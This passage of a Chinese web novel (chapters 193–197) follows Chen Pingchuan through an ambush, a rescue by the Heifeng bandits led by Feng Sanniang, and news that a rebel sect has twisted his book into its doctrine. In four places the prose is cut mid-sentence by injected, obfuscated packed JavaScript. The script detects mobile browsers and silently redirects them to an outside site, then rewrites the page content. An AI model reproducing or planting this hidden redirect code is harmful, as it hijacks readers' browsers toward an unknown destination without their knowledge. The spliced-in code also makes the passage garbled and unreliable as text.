一旁的张金宝,看着眼前这郎情妾意的一幕,心里却不是个滋味。 他看看这个才情容貌都绝顶的张若素,再想想自己那个还在庐州家里,苦苦等着大哥回去的妹妹张静姝。 一股浓浓的危机感,油然而生。 不行! 绝对不能让这个女人,抢了自己妹妹的位置! 大哥是静姝的! 第193章 大哥是我妹妹的!张金宝的抢**作战! 队伍,重新上路。 张若素的加入,让原本有些沉闷和萧索的气氛,多了一丝说不清道不明的意味。 尤其是对于张金宝来说。 他现在看张若素,是哪哪都不顺眼。 这个女人,长得是好看,又有才华,家世也好,简直是完美的。 可就是因为太完美了,他才觉得有威胁! 他那个傻妹妹张静姝,虽然也是个美人胚子,可跟眼前这位京城第一才女比起来,总感觉差了点意思。 不行! 我必须得做点什么! 张金宝在心里,暗暗下定了决心。 于是,一路上,他开始了自己的“表演”。 车队停下休息的时候。 张若素刚从马车上下来,想透透气。 张金宝就立刻凑到陈平川身边,声音不大不小,刚好能让张若素听到。 “哎呀,大哥,你说咱们这次回去,我妹妹静姝看到你,得高兴成什么样啊?” “我跟你说,你不在家的这段时间,静姝可是天天念叨你,眼睛都快望穿了!” “她还亲手给你做了好几件新衣服呢,就等着你回去穿!” 陈平川看了他一眼,哪里不知道这家伙心里的小九九,只是无奈地摇了摇头,没有搭理他。 张若素听在耳里,只是垂下眼眸,并没有任何表示,自顾自地到一旁去看风景了。 第一招,无效。 张金宝不甘心。 到了吃饭的时候。 陈平川刚拿起一块烧饼。 张若素就从自己的食盒里,取出了一碟精致的点心,递了过去。 “平川,赶路辛苦,吃点这个垫垫肚子吧。” “好。” 陈平川正要伸手去接。 “啊呦,这不是福德轩的糕点吗?我最爱吃了!” 张金宝以迅雷不及掩耳之势,将张若素的点心抢走。 “谢谢哦!” 他一边往嘴里塞,还一边故意向张若素道谢,想气气她。 陈平川和张若素面面相觑,哭笑不得。 “我这烧饼也挺好吃的,你尝尝。” 陈平川将自己的烧饼掰开递给张若素,张若素笑着接过来。 她那笑容,温婉而又大气,丝毫没有因为张金宝的幼稚行为而生气。 第二招,又无效。 张金宝急了。 晚上,安营扎寨。 秋夜微凉。 张若素见陈平川衣衫单薄,便取来一件特意准备的披风,想要给他披上。 “平川,夜里风大,小心着凉。” “用不着!” 张金宝又不知道从哪里冒了出来,手里拿着一件又厚又笨重的棉袄,不由分说,就往陈平川身上套。 “我大哥身体好着呢!穿这个!暖和!” 那棉袄,也不知是哪里来的,一股子怪味,还又硬又沉。 陈平川被他套上,整个人都显得臃肿不堪,活像一只狗熊。 “张金宝!你闹够了没有!” 陈平川终于忍不住了,有些没好气地瞪了他一眼。 “我……我这不是关心大哥你嘛!” 张金宝有些委屈地嘟囔着。 “你那是关心吗?你那是存心给我添乱!” 陈平川脱下那件滑稽的棉袄,扔还给他。 聪慧如张若素,自然是把这一切,都看在了眼里。 她非但没有生气,反而觉得有些好笑。 她知道,张金宝不是坏人,他只是太担心自己的妹妹了,所作所为,都透着一股孩子气的执拗。 她的这种隐忍和大气,让一旁的陈平川,看在眼里,心中,又对她多了几分敬重和好感。 这个女人,不仅有才,有貌,有情有义,更有常人难及的胸襟和气度。 张若素不介意,但陈平川不能由着张金宝胡闹下去了。 终于,在一个篝火摇曳的夜晚。 陈平川把张金宝,单独拉到了一旁。 “金宝,你跟我说实话,你是不是对若素姑娘,有意见?” 陈平川没有责备他,只是平静地问道。 “我……我哪有!” 张金宝眼神躲闪,嘴硬地说道。 “你没有?” 陈平川看着他,“那你一天到晚,跟个斗鸡似的,处处针对她?” “我……” 张金宝被说中了心事,脸上一红,支支吾吾地说不出话来。 “大哥,我……我就是怕……怕你忘了静姝妹妹……” 最终,他还是小声地,说出了实话。 陈平川叹了口气,拍了拍他的肩膀。 “金宝,你把我想成什么人了?” “我知道你心疼你妹妹,但是,你知不知道,若素姑娘,为了我,差点连命都丢了。” 陈平川的语气,变得严肃起来。 他将张若素当初如何冒着生命危险,千里迢迢,将顺城军民的万民**,送到京城,路上又被人追杀,身受重伤的往事,原原本本地,告诉了张金宝。 “如果不是她拼死带回那份**,我可能早就死在梁越的构陷之下了。” “如果不是她,我连在太后寿宴上,骂那老妖婆的机会都没有。” “她为我做的一切,不比任何人少,甚至,更多。” 陈平川看着张金宝,一字一句地说道。 “而且,现在天下尚未太平,百姓还生活在水深火热之中,我根本没有心思,也没有想法,去考虑儿女私情。” “无论是若素姑娘,还是静姝,在我心里,都是我最珍视的亲人和朋友,没有别的。” 听着陈平川的讲述,张金宝沉默了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029590|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一直以为,张若素只是一个养在深闺,弱不禁风的千金大小姐。 他万万没想到,这个看起来文文静静的女子,竟然为了大哥,做过如此惊天动地,甚至是以命相搏的事情! 一股深深的震撼,和一丝愧疚,涌上了他的心头。 他……他好像,真的误会她了。 他虽然还是有些担心自己的妹妹,但是,对张若素的那股敌意,却在这一刻,烟消云散了。 第二天一早。 张金宝扭扭捏捏地,走到了张若素面前。 他挠着头,脸憋得通红,憋了半天,才挤出一句话。 “那个……张姑娘,对不住了……前几天……是我不对。” 他用一种只有自己能听到的声音,笨拙地,道了歉。 张若素看着他那副窘迫的样子,噗嗤一声笑了出来。 那笑容,如春风拂面,冰雪消融。 “没关系。” 她柔声说道。 三人之间的那点小别扭,终于,在这一刻,彻底化解了。 车队的气氛,也终于变得融洽起来。 然而,他们谁也没有注意到。 在他们身后,不远处的山林里,始终有几道如同鬼魅般的身影,在悄无声息地,跟随他们。 他们的眼神,像是在看一群,即将走进屠宰场的羔羊。 离京百里。 官道渐渐变得狭窄,两旁的山势,也开始变得险峻起来。 护送他们的那几十名官兵,是由秦王特意安排的心腹,为首的统领,姓王。 王统领看着眼前的地形,神色愈发紧张起来。 他频频地,催促着队伍,加快速度。 “快!都打起精神来!尽快通过前面那段山谷!” “统领,怎么了?” 陈平川察觉到了他的反常,开口问道。 王统领擦了擦额头的汗,压低了声音说道:“陈大人,前面那段峡谷,名叫‘断魂峡’。” “这里地势险要,是官道上,出了名的**出没之地,凶险得很!” 陈平川闻言,心中一动,下意识地,握紧了藏在袖中的连**。 就在车队,刚刚驶入那段最狭窄的谷道之时。 异变,陡生! “嗖!嗖!嗖!” 凄厉的破空声,从两侧的山林中,骤然响起! 紧接着,无数黑影,手持着明晃晃的兵刃,如同下山的猛虎,从天而降! 他们一个个黑衣蒙面,眼神狠厉,身上散发着浓烈的杀气! 转瞬之间,整个车队被团团围住! “有埋伏!保护大人!” 王统领大惊失色,猛地拔出腰刀,厉声高喝。 几十名官兵,也纷纷拔刀,迅速将马车,护在了中间。 一场恶战,一触即发! 第194章 绝境反杀!救我的竟是老熟人! 断魂峡内,杀气弥漫。 那些从天而降的黑衣蒙面人,一言不发,挥舞着手中的兵刃,朝着官兵们,发起了猛烈的攻击。 他们的刀法,狠辣而又高效,招招都朝着人体的要害而去,根本不给对手任何喘息的机会。 “铛!铛!铛!” 兵刃交击之声,不绝于耳,火星四溅。 护送陈平川的这几十名官兵,虽然是秦王麾下的精锐,也算是身经百战。 但面对这些黑衣高手,他们还是很快就落入了下风。 陈平川冷眼观察,这些黑衣人,人数众多,足有上百人。 而且,他们配合默契,进退有度,显然是经过了严格训练的专业**组织,绝不是什么普通的山贼**。 “噗嗤!” 一名官兵躲闪不及,被一名黑衣人,一刀捅穿了腹部,惨叫一声,便倒在了血泊之中。 很快,官兵们的防线,就被冲得七零八落,伤亡惨重。 黑衣人们,步步紧逼,如同潮水一般,将陈平川和张若素所在的马车,围得水泄不通。 一把把闪烁着寒光的刀尖,对准了车厢。 车厢内,张若素的脸色,有些苍白,但她并没有惊慌失措,只是紧紧地,握住了陈平川的手。 张金宝也吓得脸都白了,浑身都在发抖。 他虽然也见过一些场面,但何曾见过如此血腥,如此真刀**的搏命厮杀。 但是,当他看到那些黑衣人,即将扑向陈平川的马车时。 一股不知从哪里来的勇气,猛地涌了上来。 他咬了咬牙,抄起车里一根用来撑车帘的木棍,猛地跳下车,挡在了陈平川和张若素的身前。 他两腿发软,声音都在打颤,却还是色厉内荏地,大声吼道: “你们……你们别过来!” “我大哥……我大哥可是陈平川!是在顺城,打退了五万蛮子的大英雄!” “你们要是敢动他,朝廷……朝廷不会放过你们的!” 然而,他的这番威胁,换来的,却是那些黑衣人一阵阵的哄笑。 为首的一名黑衣人,发出了沙哑而又刺耳的笑声。 “嘿嘿嘿……告诉你,我们今天,要杀的,就是陈平川!” 一句话,让陈平川立刻就明白了。 这些人,果然是冲着他的命来的! 幕后指使者不用猜,必是梁越无疑! 看来,梁越那老狗,是真的不打算,让他活着到家了! 外面的喊杀声,越来越凄厉。 王统领浑身是血,身上已经中了好几刀,他看着一个个倒下的弟兄,目眦欲裂。 他知道,今天,是在劫难逃了。 “弟兄们!” 他用尽全身力气,大吼一声。 “我等今日,便与陈大人,共存亡!” 他抱着必死之心,挥舞着手中的钢刀,朝着为首的黑衣人,猛地冲了过去! 就在这最危急的时刻! 异变,再次发生! “咻咻咻——!” 一阵比之前更加密集,更加凄厉的破空声,从两侧更高的山壁之上,响彻而起! 漫天的箭雨,如同黑色的蝗虫群,遮天蔽日,倾泻而下! 这波箭雨的目标,却不是被围困的陈平川等人,而是那些正在**他们的黑衣刺客! “噗!噗!噗!” 猝不及不及防之下,冲在最前面的几十名黑衣刺客,瞬间被射成了刺猬,惨叫着倒地! “有埋伏!” “上面还有人!” 黑衣刺客们,顿时大乱! 他们纷纷举起兵器,格挡着从天而降的箭雨,同时惊疑不定地,望向山壁高处。 只见,在两侧陡峭的山壁之上,不知何时,出现了更多的人影! 那些人影,穿着各异,手持着弓箭长刀,一个个都显得彪悍无比! “杀——!” 一声震天的呐喊,从山顶传来。 紧接着,那些彪悍的身影,如同下山的猛虎,顺着山势,朝着下方的黑衣刺客们,冲杀了过来! 陈平川透过车窗,看着那些冲杀下来的人,当他看清其中几个熟悉的面孔时,心中,猛地一喜! 是他们! 他们怎么会在这里? 黑衣刺客们,完全没有料到,螳螂捕蝉,黄雀在后! 他们瞬间,就和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029591|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来出现的这伙“山贼”,陷入了混战之中。 后来出现的这伙人,虽然装备不如黑衣刺客精良,武功也不如他们强,但胜在作战勇猛,悍不畏死,而且,占据了地利! 一时间,断魂峡内,杀声震天,血肉横飞! 黑衣刺客们,很快就被冲得阵脚大乱。 尤其是,一个身穿火红色劲装的蒙面女子,手持着一柄软剑,如同鬼魅一般,冲入了战团。 她的剑法,快如闪电,诡异莫测。 所过之处,黑衣刺客们,纷纷捂着喉咙倒下,连惨叫都来不及发出一声。 黑衣刺客的首领,眼见事不可为,知道今天再不走,恐怕就要全军覆没。 他当机立断,发出了一声尖锐的呼哨。 “撤!” 剩下的黑衣刺客们,听到命令,顿时虚晃一招,纷纷朝着山林深处,狼狈逃窜而去。 那伙“山贼”,也没有追赶。 很快,峡谷内,便恢复了平静。 只留下一地的尸体,和浓烈的血腥味。 王统领和剩下为数不多的官兵,一个个都愣在了原地,还没从这突如其来的变故中,反应过来。 得救了? 我们竟然得救了? 可……可救我们的人,又是谁? 他们看着那伙将他们团团围住,眼神不善的“山贼”,一颗心,刚刚放下,又瞬间提到了嗓子眼。 刚出狼穴,又入虎口? 紧张的气氛中。 陈平川却显得异常镇定。 他掀开车帘,主动走了出来,对着那伙“山贼”,朗声说道:“多谢各位好汉出手相救,不知,哪位是当家的?陈某,想当面致谢。” 寂静之中,山林高处,传来一阵清脆的环佩叮当之声。 一道火红的身影,如同林中的一团烈焰,几个轻盈的起落,便从高高的岩石上,飘然而下。 她稳稳地,落在了陈平川的马车前。 身姿,英姿飒爽。 眉眼,如诗如画。 虽然蒙着面,但那双明亮而又复杂的眼睛,却让陈平川的心,猛地一跳。 是她! 黑风寨大当家,凤三娘! 第195章 震惊!陈大人你到底有多少个身份? 当王统领和幸存的官兵们,看清了那道从天而降的火红身影,又听到周围那些彪悍的山贼,齐刷刷地单膝跪地,恭声高呼“恭迎大当家”时。 他们所有人的心,都凉了半截。 尤其是王统领。 他作为秦王的心腹,走南闯北,对周边的势力,自然是有所了解的。 山贼头子是女人的,只有一个,那就是黑风寨! 这个名字,就像一个魔咒,让他的脸色,瞬间变得惨白! 那可是连朝廷几次派兵围剿,都铩羽而归的硬骨头啊! 传闻中,黑风寨的大当家,是一个**不眨眼的女魔头,手段极其残忍,落到她手里,简直是生不如死! 完了…… 这下彻底完了…… 王统领眼前一黑,心如死灰。 他甚至已经做好了准备,等下就横剑自刎,了此残生,也绝不能受辱! 然而,预想中的喊打喊杀,并没有到来。 凤三娘摘下了脸上的面纱,露出了那张足以让天地都为之失色的绝美容颜。 她只是静静地,看着眼前的陈平川。 那双明亮的眸子里,情绪复杂。 有喜悦,有愧疚,还有一丝,连她自己都没有察觉到的,属于女儿家的,淡淡情愫。 “都把刀收起来!” 她转过头,对着手下的山贼们,轻斥一声,声音清脆如**。 “一个个凶神恶煞的,吓到陈军师了,看我回头怎么收拾你们!” 陈军师? 王统领和张金宝等人,全都听傻了。 他们面面相觑,脑子里,全是问号。 这是什么情况? 说好的女魔头呢? 怎么……怎么听这口气,跟陈大人,像是老熟人? 还没等他们反应过来。 一个魁梧得像铁塔一样的壮汉,从人群中冲了出来。 他一把摘掉脸上的面罩,露出一张憨厚的黑脸,正是黑风寨的二当家,铁牛。 铁牛冲着陈平川,就张开双臂,给了一个大大的熊抱! “军师!我的好军师!可想死俺老牛了!” 他那力气,大得差点没把陈平川的骨头给勒断。 “你不是去京城当大官了吗?怎么混成这副模样了?还被人追杀?” 铁牛放开陈平川,铜铃一样的大眼睛,瞪得溜圆。 “是不是京城里那些当官的孙子欺负你了?你告诉俺!是哪个王八蛋!” “俺现在就带弟兄们,杀到京城去,把他的脑袋,给你拧下来当夜壶!” 他一边说,一边还挥舞着他那砂锅大的拳头,一副义愤填膺的模样。 紧接着,哑巴叔也从人群中走了出来。 他还是那副沉默寡言的样子,只是快步走到陈平川面前,递上一个水囊。 然后,他指了指陈平川的胸口,又做了个询问的手势,那双浑浊的眼睛里,充满了关切。 他还在关心着,当初凤三娘刺伤陈平川的那个伤口。 陈平川接过水囊,喝了一口,心中涌起一股暖流。 他看着眼前的凤三娘等人,笑了。 “三娘,你们怎么会在这里?” 凤三娘白了他一眼,那片刻风情,让周围的男人们,都看呆了。 “哼,还是为了救你?” 她的语气,带着一丝嗔怪。 “我们早就发现,有伙鬼鬼祟祟的黑衣人,在咱们的地盘上晃悠了好几天了。” “本来还以为,是冲着咱们山寨来的,想抢咱们的生意。” “没想到,是冲着你来的。” “正好,顺手,就把你给救了。” 她话说得轻描淡写,但陈平川知道,事情绝没有这么简单。 王统领看着眼前这诡异而又和谐的一幕,已经彻底傻眼了。 他感觉自己的脑子,完全不够用了。 陈大人咋和这群山贼认识?还一个个称兄道弟,亲热得跟一家人似的? 他的世界观,在这一刻,受到了前所未有的剧烈冲击。 一个被贬为庶民的前朝官员,竟然是连朝廷都头疼不已的黑风寨的……军师? 这……这传出去,谁敢信啊? 只有张金宝反应过来,他指着凤三娘等人,哦哦哦好半天,嚷嚷着:“你们就是之前,大哥进京赶考把他劫走的山贼吧?” 凤三娘不理会张金宝。 她利落地翻身上了一匹高大的骏马,然后,对着陈平川,伸出了她那只白皙而又修长的手。 带着命令的口吻:“废话少说,上马,跟我回山寨!” “寨子里备好了酒席,我和弟兄们,给你接风洗尘!” 说罢,不等陈平川回答,她便一把抓住陈平川的手臂,轻轻一拉。 陈平川只觉得一股巧劲传来,整个人便不由自主地,被拉上了马背,坐在了她的身后。 “回寨!” 凤三娘娇喝一声,双腿一夹马腹。 骏马长嘶一声,便带着两人,朝着山林深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031310|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,飞驰而去。 “回寨!” 黑风寨的众人,齐声高呼,声震山谷。 他们赶着陈平川的马车,拉着张金宝和张若素,浩浩荡荡地,向着黑风寨的方向而去。 留下一脸懵逼的王统领和他的官兵们,在风中凌乱。 “统……统领,我们……我们现在怎么办?” 一个官兵结结巴巴地问道。 王统领看着那消失在山林中的队伍,又看了看自己这十几个残兵败将,苦笑一声。 “还能怎么办?” “跟上去啊!” “总不能,真让陈大人,被山贼给……请上山了吧?” 虽然他现在,已经完全搞不懂,这到底是**,还是做客了。 但他的任务,是护送陈平川。 活要见人,死要见尸。 一行人,只能硬着头皮,心惊胆战地,跟了上去。 …… 当车队,穿过一道隐秘的吊桥,进入黑风寨的腹地时。 眼前的景象,再一次,颠覆了所有人的认知。 这里,根本不是他们想象中那种,脏乱差,杀气腾腾的山贼匪窝。 反而,是一片井井有条,充满了生活气息的世外桃源。 平整的石板路,干净的木屋,俨然的田地,甚至,还有一处正在冒着袅袅炊烟的学堂,里面传来了朗朗的读书声。 山寨里的百姓,无论是老人,孩子,还是妇女,在看到凤三娘和陈平川回来时,全都从家里涌了出来。 他们没有丝毫的害怕,反而,一个个脸上都洋溢着发自内心的,热情和喜悦的笑容。 “大当家回来啦!” “快看!是陈军师!陈军师也回来了!” “陈军师!您可算回来了!我们都想死你了!” 呼喊声,此起彼伏,震天动地。 那份真挚,那份热烈,与京城官场中,那种虚伪的客套,形成了天壤之别。 王统领和他手下的官兵们,看着眼前这一切,心中,早已是翻江倒海。 他们看到,山寨里的百姓,虽然衣着朴素,但个个面色红润,精神饱满。 他们的眼中,没有丝毫的麻木和恐惧,反而,充满了对生活的热爱和希望。 他突然有些明白了。 为什么,朝廷大军,屡次围剿,都拿不下这座山寨。 因为,这里的人,不是被胁迫的流寇。 他们,是在为自己的家园,为自己的亲人,为自己的生活而战! 第196章 霸气表白!留下来,当我的男人! 聚义厅内,早已摆满了丰盛的酒宴。 虽然没有皇宫里那些山珍海味,但大块的烤肉,香醇的美酒,却更显得豪迈和真诚。 凤三娘坐在主位,陈平川,自然是坐在了她的身旁。 铁牛等人,不断地端着大碗的酒,前来敬酒。 “军师!俺敬你一碗!要不是你当初教咱们的法子,咱们山寨,哪有今天的好日子!” “是啊军师!现在咱们的货,都卖到关外去了!那些蛮子,都抢着要呢!” “咱们现在,不但不缺粮食,每个月,还能给兄弟们发响钱呢!” 每个人,都在七嘴八舌地,向陈平川讲述着,他离开后,山寨利用他留下的贸易方法,日子过得越来越红火。 每个人脸上,都洋溢着那种,不加掩饰的,真诚的笑容。 张若素静静地,坐在一旁。 她看着被众人簇拥在中间,谈笑风生的陈平川。 她发现,在这里,陈平川的笑容,才是最放松,最真实,最发自内心的。 他不再是那个,在朝堂之上,步步为营,心力交瘁的忠勇侯。 也不再是那个,在宫宴之上,愤而提笔,以命相搏的狂士。 在这里,他只是一个,被人尊敬,被人爱戴的,陈军师。 她忽然,有些理解了陈平川在离开京城时,那份彻骨的失望。 也为他,能有这样一处,可以让他卸下所有防备和疲惫的心安之所,而感到由衷的欣慰。 酒过三巡,菜过五味。 大厅里的气氛,愈发热烈。 陈平川和凤三娘,也各自讲述了,分别之后,所发生的事情。 当凤三娘听到,陈平川在顺城,以一己之力,整顿军政,利用“神仙膏”,大破蛮族时,她的眼中,异彩连连,充满了惊喜和敬佩。 而当她听到,陈平川立下如此不世之功,却反被梁太后和梁越构陷,最终落得个削官为民,贬谪还乡的下场时,猛地一拍桌子,杏眼圆睁,怒火中烧。 “岂有此理!” “你为他们流血!为他们拼命!换来的,就是这个下场?” “那样的朝廷!那样的皇帝!那样的太后!值得你,为他们效忠吗?!” 她连声质问,既是愤怒,也是心疼:“不如反了!我们自己干!”。 陈平川沉默了片刻。 他端起一碗酒,一饮而尽。 然后,长长地,舒了一口气。 他笑了,那笑容,带着一丝释然,一丝解脱。 “以前,我觉得值得。” 他的目光,缓缓扫过在场的每一个人,扫过窗外那片安居乐业的家园。 “现在,我觉得,或许,有比效忠某一个皇帝,更值得去做的事情。” “让天下所有受苦的百姓,都能像黑风寨的乡亲们一样,有饭吃,有衣穿,有田种,有书读,有尊严地,活在这个世界上。” “或许,这,才是我真正该走的道。” 他的声音,不大,却清晰地,传到了每一个人的耳中。 整个聚义厅,都安静了下来。 所有人的目光,都集中在了他的身上。 那目光中,充满了震撼,和一种狂热的崇敬! 凤三娘痴痴地,看着他。 看着这个在灯火下,仿佛周身都散发着光芒的男人。 她的心,跳得很快,很快。 她伸出手,越过桌案,轻轻地,抚上了他胸口,衣衫之下的那个位置。 那里,曾有一道,她亲手留下的伤疤。 “这里……还疼吗?” 她的声音,带着一丝,连她自己都未曾察觉的温柔。 陈平川摇了摇头。 两人,四目相对。 空气中,似乎都弥漫开了一种,难以言喻的,暧昧气氛。 “平川。” 凤三娘的眼神,变得灼热而又大胆。 “别走了。” “留下来。” “留下来,和我一起,把黑风寨,建成我们想要的样子。” 她顿了顿,一字一句地,清晰地说道: “正好,这里,也需要一个……男主人。” 石破天惊! 这句话一出,满座皆惊! 铁牛的嘴巴,张得能塞下一个鸡蛋。 张金宝更是差点把刚喝进去的酒,给喷出来! 他一脸郁闷地看着自己的大哥。 完了完了! 大哥这个多情种,到处留情! 而且,这些女人,一个比一个强,一个比一个猛! 我那可怜的妹妹啊,这下,是一点希望都没有了! 而坐在角落里的张若素,端着酒杯的手,微微一僵,心中,泛起了一丝,连她自己都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031311|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不清的,复杂的滋味。 或许,只有这样敢爱敢恨,如烈火般的女子,才配得上他吧。 而自己……终究只是他漫漫长路上的一个过客,一道风景。 陈平川感觉自己的头皮都快炸了。 他看着凤三娘那张近在咫尺,美得惊心动魄的脸,还有那双仿佛能将人吸进去的眸子,饶是他两世为人,心跳也漏了半拍。 这个敢爱敢恨的女人,简直要人命! 他深吸一口气,在黑风寨众人震天的起哄声中,缓缓端起了面前那碗酒。 “三娘。” 他的声音带着一种奇异的力量,让喧闹的大厅瞬间安静了下来。 所有人的目光,都聚焦在了他的身上。 “天下未定,何以为家?” 陈平川举起酒碗,对着凤三娘,也对着在场的所有人,朗声说道。 “我陈平川这条命,从走出顺城的那一刻起,就不再是我自己的了。” “它属于顺城那十万信任我的百姓,属于这天下千千万万还在受苦的人。” “在他们能安居乐业之前,我陈平川,不敢谈家,也无以为家。” 他仰起头,将一碗烈酒,一饮而尽! “好!” 不知是谁先喊了一声。 紧接着,整个聚义厅,掌声雷动! 铁牛等人看着陈平川的眼神,已经不再只是敬佩,而是带上了一种狂热的崇拜! 这才是他们认识的陈军师! 胸怀天下,心系苍生! 凤三娘眼中的灼热,渐渐褪去,取而代之的,是一抹复杂难明的光。 有失落,有心疼,但更多的,是一种与有荣焉的骄傲。 这,才是她凤三娘看上的男人! 她没有再逼迫,只是重新坐直了身体,端起酒碗,同样一饮而尽,动作比男人还要豪迈。 “好!说得好!” 凤三娘将酒碗重重地顿在桌上。 “既然如此,那我黑风寨,就陪你一起完成这个盛世宏愿!” 她的话,掷地有声! 就在这气氛微妙而又豪情万丈的时刻,一名山寨喽啰,突然神色慌张地从外面冲了进来。 “大当家!” 喽啰双手高高举起一张帖子。 “山外有人送来这个!” “对方说是‘天公道’的人!” 第197章 什么?我成了反贼的精神导师? “天公道”三个字一出,聚义厅内刚刚还热烈无比的气氛,仿佛被一盆冰水当头浇下,瞬间降至冰点。 所有人的笑容,都凝固在了脸上。 凤三娘的脸色一沉,接过那张请帖,看到上面那个用火漆印着的,诡异的符文印章时,表情变得前所未有的凝重。 铁牛等人,更是齐刷刷地站了起来,手已经握住了腰间的兵刃,一个个如临大敌,眼神中充满了警惕和厌恶。 陈平川察觉到了这气氛的变化。 “三娘,‘天公道’是什么?” 他开口问道。 凤三娘深吸一口气,将那张请帖拍在桌上。 她沉声解释道:“近半年来,一股叫做‘天公道’的教派,也不知道是从哪里冒出来的,像瘟疫一样,以燎原之势席卷了周边的青州、涂州、御州好几个州府。” “他们打着‘天公降世,普度众生’的旗号,到处开仓放粮,免费给穷苦人治病,所以在那些活不下去的灾民之中,声望极高,信徒无数。” “但背地里,他们在疯狂地招兵买马,聚敛财富,手段极其狠辣,但凡有不服从他们的,或者是不愿意入教的,往往都是满门被灭的下场!” “他们就是一群披着羊皮的狼!一群吃人不吐骨头的恶鬼!周围几个山头的寨子都被他们灭了!” 铁牛在一旁,咬牙切齿地补充道。 陈平川的眉头,皱了起来。 这听起来,怎么那么像历史上的那些邪教组织,白莲教、黄巾军之类的? 都是利用宗教来蛊惑人心,然后趁着天下大乱,起兵造反。 看来,这个大业朝,是真的要乱了。 凤三娘看着陈平川,眼神忽然变得极为复杂,甚至带着一丝古怪。 “平川,你知道最邪门的是什么吗?” “什么?” 凤三娘道:“这个天公道的首领,一个自称‘天公将军’的家伙,对外宣称,他所做的一切,他的所有思想,都源自于一本书。” “一本……被他们奉为天书,奉为教义的宝典。” 说到这里,她盯着陈平川的眼睛。 “那本书,叫做——《安民论》!” 轰! 陈平川只觉得一道天雷,在自己的脑子里,轰然炸响! 他整个人,都懵了! 《安民论》? 我的《安民论》? 我辛辛苦苦,呕心沥血,融合了两世智慧写出来,想要救世济民的政治纲领,怎么就他娘的成了反贼的造反宝典了? 我成了反贼的精神导师了?! 这他妈叫什么事啊! 凤三娘看着他那副像是被雷劈了的表情,苦笑了一下。 “我就知道会是这样。” 她继续说道:“我派人去搞了一本他们所谓的‘教义’来看,里面的内容,确实是脱胎于你的《安民论》,但被他们断章取义,曲解得面目全非。” “你书中那些民为本、社稷次之、君为轻的思想,被他们无限放大,变成了君王无道,苍天已死,天公当立的造反口号。” “你那些发展民生、与民休息的策略,被他们扭曲成了‘等贵贱,均贫富’的蛊惑之言。” “就是靠着这些,他们蛊惑了大量走投无路的百姓,和许多对朝廷心怀不满的读书人。” “前不久,他们就派人来过黑风寨,想招安我,被我赶出去了。” “没想到,他们还不死心,今天又派人来了。” 凤三娘拿起那张请帖,递到陈平川面前。 “你自己看吧。” 陈平川接过请帖,打开一看,里面的内容,是邀请黑风寨大当家凤三娘,共襄盛举,推翻暴政,建立一个人人平等的人间天国。 落款,正是那个所谓的“天公将军”。 陈平川看着那张请帖,嘴角,泛起了一丝冰冷的笑意。 天公将军? 好啊。 我倒要看看,是哪个王八蛋,敢盗用我的名号,败坏我的名声! 这笔账,我记下了! “他娘的!什么狗屁天公将军!” 铁牛一拳砸在桌子上,瞪着铜铃般的大眼睛怒吼,大嗓门震得众人耳膜嗡嗡响。 “敢打着军师的名号招摇撞骗,还敢招安到咱们黑风寨头上来了!送信的使者呢?俺现在就去把他脑袋拧下来!” “铁牛,坐下!” 凤三娘冷喝一声。 “杀一个使者有什么用?只会打草惊蛇!” 一旁的哑巴叔,也伸手拉了拉铁牛的衣角,对他摇了摇头。 铁牛虽然头脑简单,但对凤三娘和哑巴叔的话,还是听的。 他愤愤不平地哼了一声,重新坐了回去,但那双眼睛,依旧喷着火。 聚义厅里的气氛,很压抑。 所有人都看着陈平川,等着他拿主意。 不知不觉间,这个刚刚回到山寨的年轻人,已经再次成为了所有人的主心骨。 陈平川目光扫过在场的每一个人。 “慌什么?” 他平静地开口,“天还没塌下来。” 他走到凤三娘身边,沉声道:“三娘,取地图来。” “好!” 凤三娘立刻命人取来一幅巨大的,用兽皮绘制的地图。 这幅地图,比官府的要详细得多,不仅标注了山川河流,城镇关隘,甚至连一些隐秘的小路,都标注得清清楚楚。 这是陈平川走之前,利用现代绘图技术,为凤三娘绘制的,也是黑风寨赖以生存的根本。 地图在桌上铺开,所有人都围了过来。 